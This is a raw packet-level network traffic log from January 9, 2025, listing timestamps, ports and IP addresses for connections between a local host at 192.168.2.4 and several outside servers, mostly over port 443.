Jan 9, 2025 14:41:08.091414928 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.091435909 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.091471910 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.091475964 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.091499090 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.091519117 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.175477028 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.175509930 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.175554037 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.175563097 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.175590038 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.175609112 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.175612926 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.175622940 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.175657034 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.175661087 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.175683975 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.176318884 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.176345110 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.176376104 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.176381111 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.176412106 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.176666975 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.176686049 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.176732063 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.176737070 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.176760912 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177047968 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177073002 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177107096 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177110910 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177139044 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177390099 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177408934 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177438974 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177443027 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177467108 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177642107 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177666903 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177696943 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177700996 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177716970 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177782059 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177830935 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177835941 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177897930 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.177951097 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.177954912 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.178014994 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.178060055 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.182168007 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.183876991 CET	49823	443	192.168.2.4	184.28.190.59
Jan 9, 2025 14:41:08.183885098 CET	443	49823	184.28.190.59	192.168.2.4
Jan 9, 2025 14:41:08.336226940 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:08.365689993 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:08.365715981 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:08.365787029 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:08.366058111 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:08.366071939 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:08.379334927 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:08.525407076 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:08.525497913 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:08.525593042 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:08.541021109 CET	49776	443	192.168.2.4	18.244.18.38
Jan 9, 2025 14:41:08.541038990 CET	443	49776	18.244.18.38	192.168.2.4
Jan 9, 2025 14:41:08.649086952 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:08.649111032 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:08.649159908 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:08.649693012 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:08.649708033 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:08.953475952 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:08.953519106 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:08.953792095 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:08.954211950 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:08.954252958 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:09.145782948 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.146683931 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.146694899 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.148164988 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.148226023 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.149192095 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.149276972 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.149466991 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.149475098 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.149499893 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.149512053 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.220884085 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.221185923 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:09.221205950 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.221546888 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.221940041 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:09.221999884 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.222084999 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:09.263333082 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.337516069 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.337598085 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:09.338407993 CET	49837	443	192.168.2.4	18.173.219.84
Jan 9, 2025 14:41:09.338421106 CET	443	49837	18.173.219.84	192.168.2.4
Jan 9, 2025 14:41:09.348901987 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.381051064 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.381248951 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.381306887 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.385526896 CET	49833	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:09.385552883 CET	443	49833	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:09.551492929 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:09.647659063 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:09.756694078 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:09.756719112 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:09.757158041 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:09.758117914 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:09.758204937 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:09.762919903 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:09.803333998 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:09.993243933 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:09.993335962 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:09.993418932 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:09.993911028 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:09.993933916 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:09.994004011 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:09.994390011 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:09.994426012 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:09.994575024 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:09.994604111 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:09.994939089 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:09.994961977 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:09.995022058 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:09.995377064 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:09.995404959 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:09.996777058 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:09.996805906 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:09.996886015 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:09.997071981 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:09.997111082 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.042263031 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:10.042419910 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:10.042493105 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:10.045211077 CET	49847	443	192.168.2.4	20.110.205.119
Jan 9, 2025 14:41:10.045233965 CET	443	49847	20.110.205.119	192.168.2.4
Jan 9, 2025 14:41:10.495345116 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:10.495420933 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:10.497128963 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:10.497128963 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:10.497189045 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:10.499761105 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:10.499806881 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:10.499872923 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:10.500194073 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:10.500210047 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:10.504139900 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.509212017 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.509222031 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.510823011 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.510890961 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.511852026 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.511939049 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.526746035 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.527124882 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.527148962 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.530638933 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.531338930 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.531338930 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.531436920 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.583168030 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.583184004 CET	443	49859	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.643161058 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.643413067 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.643426895 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.644447088 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.644506931 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.645829916 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.645888090 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.659563065 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.659818888 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.659848928 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.661303997 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.661375046 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.661690950 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.661772013 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.663341999 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.663358927 CET	443	49860	23.219.82.51	192.168.2.4
Jan 9, 2025 14:41:10.683799982 CET	49859	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.851363897 CET	443	49862	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:10.851450920 CET	49862	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.864136934 CET	49860	443	192.168.2.4	23.219.82.51
Jan 9, 2025 14:41:10.864142895 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:10.864175081 CET	443	49861	204.79.197.219	192.168.2.4
Jan 9, 2025 14:41:11.051553011 CET	49861	443	192.168.2.4	204.79.197.219
Jan 9, 2025 14:41:11.090483904 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.090497017 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.090565920 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.091155052 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.091171026 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.294842958 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.295131922 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.295147896 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.295648098 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.296138048 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.296222925 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.296256065 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.296281099 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.296324968 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.318995953 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.319330931 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.319363117 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.319858074 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.320332050 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.320451975 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.320620060 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.320717096 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.320749998 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.321011066 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.321046114 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.365233898 CET	49723	80	192.168.2.4	2.22.50.144
Jan 9, 2025 14:41:11.370949030 CET	80	49723	2.22.50.144	192.168.2.4
Jan 9, 2025 14:41:11.371042967 CET	49723	80	192.168.2.4	2.22.50.144
Jan 9, 2025 14:41:11.484198093 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.484247923 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.484328985 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.486804962 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:11.486875057 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:11.486957073 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:11.489953041 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.500740051 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.500754118 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.502886057 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:11.502929926 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:11.539119005 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.539186001 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.539258957 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.539851904 CET	49867	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.539875984 CET	443	49867	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.764005899 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.764107943 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.764538050 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.764596939 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.764632940 CET	443	49868	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.764673948 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.764718056 CET	49868	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.881128073 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.951347113 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.951363087 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.953022003 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.953044891 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:11.953121901 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:11.972384930 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:11.972479105 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:11.999927044 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.000072002 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.000258923 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.000258923 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.000287056 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.000303984 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.004959106 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:12.005000114 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:12.005808115 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:12.098953009 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:12.161688089 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.247670889 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.247781038 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.247863054 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.297019958 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.428054094 CET	49872	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.428080082 CET	443	49872	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.429245949 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.429277897 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.430115938 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.430600882 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.430687904 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.431004047 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.431050062 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.431116104 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.446789980 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:12.446790934 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:12.447161913 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:12.864031076 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.864097118 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:12.864278078 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.865081072 CET	49876	443	192.168.2.4	20.189.173.28
Jan 9, 2025 14:41:12.865092993 CET	443	49876	20.189.173.28	192.168.2.4
Jan 9, 2025 14:41:13.072809935 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072843075 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072865009 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072885036 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072902918 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072922945 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072941065 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072941065 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.072979927 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.072998047 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.072998047 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.073332071 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.073352098 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.073365927 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.073383093 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.073391914 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.073401928 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.073581934 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.153706074 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161251068 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161345005 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161422968 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161427021 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.161462069 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161489010 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.161556005 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161631107 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161681890 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.161690950 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.161731958 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.162170887 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.162295103 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.162365913 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.162420988 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.162430048 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.162471056 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.162477016 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.163300991 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.163434029 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.163486004 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.163497925 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.163542986 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.163552046 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.163645029 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.164098024 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.164153099 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.164165974 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.164211035 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.164221048 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.239152908 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.239227057 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.239286900 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.242746115 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.242810011 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.242830038 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.242897034 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.242964983 CET	49875	443	192.168.2.4	172.67.174.91
Jan 9, 2025 14:41:13.242979050 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.249665976 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.249691963 CET	443	49875	172.67.174.91	192.168.2.4
Jan 9, 2025 14:41:13.249708891 CET	49875	443	192.168.2.4	172.67.174.91
